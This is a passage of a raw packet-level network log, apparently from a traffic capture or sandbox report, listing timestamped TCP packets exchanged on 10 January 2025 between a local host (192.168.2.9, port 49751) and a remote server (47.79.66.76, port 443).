Jan 10, 2025 07:52:13.632164955 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.632220984 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.632246017 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.632265091 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.632299900 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.632309914 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.648607016 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.648653030 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.648673058 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.648680925 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.648698092 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.648716927 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.664308071 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.664351940 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.664376974 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.664385080 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.664421082 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.664421082 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.665113926 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.665164948 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.665189028 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.665196896 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.665220022 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.665240049 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.666184902 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.666229010 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.666258097 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.666268110 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.666291952 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.666311979 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.685440063 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.685484886 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.685523033 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.685529947 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.685558081 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.685569048 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.705267906 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.705342054 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.705357075 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.705372095 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.705401897 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.705410004 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.716728926 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.716787100 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.716820955 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.716830015 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.716857910 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.716873884 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.724735975 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.724781036 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.724843025 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.724854946 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.724864006 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.725117922 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.741187096 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.741238117 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.741261959 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.741271019 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.741297960 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.741307020 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.756906986 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.756953001 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.756980896 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.756990910 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.757010937 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.757030010 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.757613897 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.757657051 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.757673025 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.757693052 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.757704973 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.757730007 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.758357048 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.758399010 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.758439064 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.758445024 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.758476019 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.758486032 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.777861118 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.777906895 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.777941942 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.777951956 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.777976990 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.777997017 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.797765970 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.797782898 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.797827959 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.797837973 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.797858953 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.797885895 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.809000969 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.809015989 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.809071064 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.809078932 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.809098005 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.809112072 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.817193985 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.817212105 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.817264080 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.817274094 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.817305088 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.817323923 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.833834887 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.833849907 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.833901882 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.833909988 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.833949089 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.849318027 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.849361897 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.849391937 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.849401951 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.849422932 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.849443913 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.850147009 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.850191116 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.850210905 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.850225925 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.850249052 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.850265980 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.851129055 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.851174116 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.851198912 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.851205111 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.851233006 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.851249933 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.870440006 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.870491028 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.870516062 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.870524883 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.870553017 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.870567083 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.890247107 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.890290022 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.890316010 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.890324116 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.890352964 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.890372992 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.901696920 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.901743889 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.901765108 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.901772022 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.901798010 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.901813030 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.910001040 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.910046101 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.910080910 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.910088062 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.910101891 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.910125971 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.926456928 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.926501036 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.926522970 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.926531076 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.926561117 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.926580906 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.943418980 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.943494081 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.943511963 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.943521023 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.943547010 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.943567038 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.944345951 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.944395065 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.944412947 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.944421053 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.944447994 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.944463968 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.945292950 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.945338011 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.945365906 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.945373058 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.945400953 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.945410013 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.962918043 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.962938070 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.962985039 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.962990999 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.963017941 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.963035107 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.984532118 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.984586000 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.984603882 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.984626055 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.984647989 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.984672070 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.994046926 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.994066000 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.994117022 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.994129896 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.994144917 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.994168997 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.002985954 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.003004074 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.003056049 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.003066063 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.003082037 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.003139973 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.018945932 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.018976927 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.019030094 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.019041061 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.019067049 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.019084930 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.034501076 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.034524918 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.034645081 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.034674883 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.034730911 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.035118103 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.035135984 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.035248041 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.035255909 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.035336971 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.036040068 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.036058903 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.036183119 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.036190987 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.036262989 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.056206942 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.056262970 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.056320906 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.056330919 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.056349993 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.056560040 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.075356007 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.075404882 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.075622082 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.075622082 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.075633049 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.075671911 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.086683989 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.086735010 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.086785078 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.086785078 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.086800098 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.086955070 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.094893932 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.094949007 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.095019102 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.095019102 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.095026970 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.095134974 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.111552954 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.111604929 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.111785889 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.111795902 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.111834049 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.126760006 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.126805067 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.126888990 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.126895905 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.126955986 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.127016068 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.127588987 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.127657890 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.127696037 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.127701998 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.127907038 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.127907038 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.128492117 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.128534079 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.128679991 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.128679991 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.128688097 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.129092932 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.147903919 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.147948980 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.148006916 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.148015976 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.148027897 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.148087025 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.167706966 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.167753935 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.167795897 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.167804003 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.167838097 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.167853117 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.179024935 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.179088116 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.179158926 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.179158926 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.179166079 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.179217100 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.187243938 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.187287092 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.187333107 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.187340021 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.187371969 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.187391996 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.204257011 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.204302073 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.204360962 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.204368114 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.204396963 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.204459906 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.220139027 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.220199108 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.220227957 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.220238924 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.220288992 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.220288992 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.221040010 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.221082926 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.221144915 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.221160889 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.221183062 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.221220970 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.222227097 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.222270012 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.222302914 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.222309113 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.222376108 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.222376108 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.245116949 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.245171070 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.245258093 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.245259047 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.245282888 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.245326996 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.261183977 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.261234999 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.261415005 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.261415005 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.261425018 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.261728048 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.272696018 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.272741079 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.272798061 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.272806883 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.272842884 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.272856951 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.280728102 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.280741930 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.280831099 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.280838013 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.280906916 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.297302008 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.297367096 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:14.297437906 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:14.297437906 CET	49751	443	192.168.2.9	47.79.66.76
